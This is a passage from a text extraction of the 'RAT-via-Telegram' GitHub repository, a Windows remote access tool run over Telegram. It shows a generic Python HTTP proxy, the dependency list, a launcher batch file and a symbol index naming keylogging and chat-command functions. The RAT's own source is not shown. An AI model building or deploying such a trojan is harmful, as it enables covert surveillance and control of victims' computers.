logger.debug('request parser is in state complete')
if self.request.method == b"CONNECT":
host, port = self.request.url.path.split(COLON)
elif self.request.url:
host, port = self.request.url.hostname, self.request.url.port if self.request.url.port else 80
self.server = Server(host, port)
try:
logger.debug('connecting to server %s:%s' % (host, port))
self.server.connect()
logger.debug('connected to server %s:%s' % (host, port))
except Exception as e:
self.server.closed = True
raise ProxyConnectionFailed(host, port, repr(e))
# for http connect methods (https requests)
# queue appropriate response for client
# notifying about established connection
if self.request.method == b"CONNECT":
self.client.queue(self.connection_established_pkt)
# for usual http requests, re-build request packet
# and queue for the server with appropriate headers
else:
self.server.queue(self.request.build(
del_headers=[b'proxy-connection', b'connection', b'keep-alive'],
add_headers=[(b'Connection', b'Close')]
))
def _process_response(self, data):
# parse incoming response packet
# only for non-https requests
if not self.request.method == b"CONNECT":
self.response.parse(data)
# queue data for client
self.client.queue(data)
def _access_log(self):
host, port = self.server.addr if self.server else (None, None)
if self.request.method == b"CONNECT":
logger.info("%s:%s - %s %s:%s" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port))
elif self.request.method:
logger.info("%s:%s - %s %s:%s%s - %s %s - %s bytes" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port, self.request.build_url(), self.response.code, self.response.reason, len(self.response.raw)))
def _get_waitable_lists(self):
rlist, wlist, xlist = [self.client.conn], [], []
logger.debug('*** watching client for read ready')
if self.client.has_buffer():
logger.debug('pending client buffer found, watching client for write ready')
wlist.append(self.client.conn)
if self.server and not self.server.closed:
logger.debug('connection to server exists, watching server for read ready')
rlist.append(self.server.conn)
if self.server and not self.server.closed and self.server.has_buffer():
logger.debug('connection to server exists and pending server buffer found, watching server for write ready')
wlist.append(self.server.conn)
return rlist, wlist, xlist
def _process_wlist(self, w):
if self.client.conn in w:
logger.debug('client is ready for writes, flushing client buffer')
self.client.flush()
if self.server and not self.server.closed and self.server.conn in w:
logger.debug('server is ready for writes, flushing server buffer')
self.server.flush()
def _process_rlist(self, r):
if self.client.conn in r:
logger.debug('client is ready for reads, reading')
data = self.client.recv()
self.last_activity = self._now()
if not data:
logger.debug('client closed connection, breaking')
return True
try:
self._process_request(data)
except ProxyConnectionFailed as e:
logger.exception(e)
self.client.queue(CRLF.join([
b'HTTP/1.1 502 Bad Gateway',
b'Proxy-agent: proxy.py v' + version,
b'Content-Length: 11',
b'Connection: close',
CRLF
]) + b'Bad Gateway')
self.client.flush()
return True
if self.server and not self.server.closed and self.server.conn in r:
logger.debug('server is ready for reads, reading')
data = self.server.recv()
self.last_activity = self._now()
if not data:
logger.debug('server closed connection')
self.server.close()
else:
self._process_response(data)
return False
def _process(self):
while True:
rlist, wlist, xlist = self._get_waitable_lists()
r, w, x = select.select(rlist, wlist, xlist, 1)
self._process_wlist(w)
if self._process_rlist(r):
break
if self.client.buffer_size() == 0:
if self.response.state == HTTP_PARSER_STATE_COMPLETE:
logger.debug('client buffer is empty and response state is complete, breaking')
break
if self._is_inactive():
logger.debug('client buffer is empty and maximum inactivity has reached, breaking')
break
def run(self):
logger.debug('Proxying connection %r at address %r' % (self.client.conn, self.client.addr))
try:
self._process()
except KeyboardInterrupt:
pass
except Exception as e:
logger.exception('Exception while handling connection %r with reason %r' % (self.client.conn, e))
finally:
logger.debug("closing client connection with pending client buffer size %d bytes" % self.client.buffer_size())
self.client.close()
if self.server:
logger.debug("closed client connection with pending server buffer size %d bytes" % self.server.buffer_size())
self._access_log()
logger.debug('Closing proxy for connection %r at address %r' % (self.client.conn, self.client.addr))
class TCP(object):
"""TCP server implementation."""
def __init__(self, hostname='127.0.0.1', port=8899, backlog=100):
self.hostname = hostname
self.port = port
self.backlog = backlog
def handle(self, client):
raise NotImplementedError()
def run(self):
try:
logger.info('Starting server on port %d' % self.port)
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind((self.hostname, self.port))
self.socket.listen(self.backlog)
while True:
conn, addr = self.socket.accept()
logger.debug('Accepted connection %r at address %r' % (conn, addr))
client = Client(conn, addr)
self.handle(client)
except Exception as e:
logger.exception('Exception while running the server %r' % e)
finally:
logger.info('Closing server socket')
self.socket.close()
class HTTP(TCP):
"""HTTP proxy server implementation.
Spawns new process to proxy accepted client connection.
"""
def handle(self, client):
proc = Proxy(client)
proc.daemon = True
proc.start()
logger.debug('Started process %r to handle connection %r' % (proc, client.conn))
def main():
parser = argparse.ArgumentParser(
description='proxy.py v%s' % __version__,
epilog='Having difficulty using proxy.py? Report at: %s/issues/new' % __homepage__
)
parser.add_argument('--hostname', default='0.0.0.0', help='Default: 127.0.0.1')
parser.add_argument('--port', default='8081', help='Default: 8081')
parser.add_argument('--log-level', default='INFO', help='DEBUG, INFO, WARNING, ERROR, CRITICAL')
args = parser.parse_args()
logging.basicConfig(level=getattr(logging, args.log_level), format='%(asctime)s - %(levelname)s - pid:%(process)d - %(message)s')
hostname = args.hostname
port = int(args.port)
try:
proxy = HTTP(hostname, port)
proxy.run()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
main()
================================================
FILE: requirements.txt
================================================
telepot
requests
winshell
tendo
pypiwin32
pillow
pyinstaller
pyaudio
================================================
FILE: run.bat
================================================
C:/Python27/python.exe "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py"
gitextract_ngogcj5m/ ├── LICENSE ├── RATAttack.py ├── README.md ├── compileAndRun.bat ├── proxy.py ├── pyHook-1.5.1-cp27-cp27m-win32.whl ├── pyHook-1.5.1-cp27-cp27m-win_amd64.whl ├── requirements.txt └── run.bat
SYMBOL INDEX (60 symbols across 2 files)
FILE: RATAttack.py
function checkchat_id (line 33) | def checkchat_id(chat_id):
function pressed_chars (line 37) | def pressed_chars(event):
function internalIP (line 51) | def internalIP():
function user_input (line 57) | def user_input(bot, from_id, msg):
function on_chat_message (line 65) | def on_chat_message(msg):
function on_callback_query (line 113) | def on_callback_query(msg):
FILE: proxy.py
function text_ (line 43) | def text_(s, encoding='utf-8', errors='strict'):
function bytes_ (line 51) | def bytes_(s, encoding='utf-8', errors='strict'):
class ChunkParser (line 77) | class ChunkParser(object):
method __init__ (line 80) | def __init__(self):
method parse (line 86) | def parse(self, data):
method process (line 90) | def process(self, data):
class HttpParser (line 110) | class HttpParser(object):
method __init__ (line 113) | def __init__(self, type=None):
method parse (line 131) | def parse(self, data):
method process (line 141) | def process(self, data):
method process_line (line 178) | def process_line(self, data):
method process_header (line 190) | def process_header(self, data):
method build_url (line 203) | def build_url(self):
method build_header (line 213) | def build_header(self, k, v):
method build (line 216) | def build(self, del_headers=None, add_headers=None):
method split (line 236) | def split(data):
class Connection (line 243) | class Connection(object):
method __init__ (line 246) | def __init__(self, what):
method send (line 251) | def send(self, data):
method recv (line 254) | def recv(self, bytes=8192):
method close (line 266) | def close(self):
method buffer_size (line 270) | def buffer_size(self):
method has_buffer (line 273) | def has_buffer(self):
method queue (line 276) | def queue(self, data):
method flush (line 279) | def flush(self):
class Server (line 284) | class Server(Connection):
method __init__ (line 287) | def __init__(self, host, port):
method connect (line 291) | def connect(self):
class Client (line 295) | class Client(Connection):
method __init__ (line 298) | def __init__(self, conn, addr):
class ProxyError (line 303) | class ProxyError(Exception):
class ProxyConnectionFailed (line 306) | class ProxyConnectionFailed(ProxyError):
method __init__ (line 308) | def __init__(self, host, port, reason):
method __str__ (line 313) | def __str__(self):
class Proxy (line 316) | class Proxy(threading.Thread):
method __init__ (line 322) | def __init__(self, client):
method _now (line 340) | def _now(self):
method _inactive_for (line 343) | def _inactive_for(self):
method _is_inactive (line 346) | def _is_inactive(self):
method _process_request (line 349) | def _process_request(self, data):
method _process_response (line 393) | def _process_response(self, data):
method _access_log (line 402) | def _access_log(self):
method _get_waitable_lists (line 409) | def _get_waitable_lists(self):
method _process_wlist (line 427) | def _process_wlist(self, w):
method _process_rlist (line 436) | def _process_rlist(self, r):
method _process (line 473) | def _process(self):
method run (line 491) | def run(self):
class TCP (line 507) | class TCP(object):
method __init__ (line 510) | def __init__(self, hostname='127.0.0.1', port=8899, backlog=100):
method handle (line 515) | def handle(self, client):
method run (line 518) | def run(self):
class HTTP (line 536) | class HTTP(TCP):
method handle (line 542) | def handle(self, client):
function main (line 548) | def main():
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (50K chars).
[
{
"path": "LICENSE",
"chars": 1072,
"preview": "MIT License\n\nCopyright (c) 2017 Ritiek Malhotra\n\nPermission is hereby granted, free of charge, to any person obtaining a"
},
{
"path": "RATAttack.py",
"chars": 21833,
"preview": "#Todo\n#Split functions to classes\n#Solve bugs\n#Allow multi-keyboard capability\n#Add new features from the Master fork\n#I"
},
{
"path": "README.md",
"chars": 4853,
"preview": "# RAT-via-Telegram\n## Dviros's notes:\nWindows Remote Post Breach Tool via Telegram (Python 2.7),\nOriginally created by <"
},
{
"path": "compileAndRun.bat",
"chars": 400,
"preview": "rem --specpath \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\\" --distpath \"D:\\Google Drive\\Programming\\Python\\RAT"
},
{
"path": "proxy.py",
"chars": 19810,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n proxy.py\n ~~~~~~~~\n \n HTTP Proxy Server in Python.\n \n "
},
{
"path": "requirements.txt",
"chars": 68,
"preview": "telepot\nrequests\nwinshell\ntendo\npypiwin32\npillow\npyinstaller\npyaudio"
},
{
"path": "run.bat",
"chars": 89,
"preview": "C:/Python27/python.exe \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\RATAttack.py\""
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the Dviros/RAT-via-Telegram GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (47.0 KB), approximately 11.1k tokens, and a symbol index with 60 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.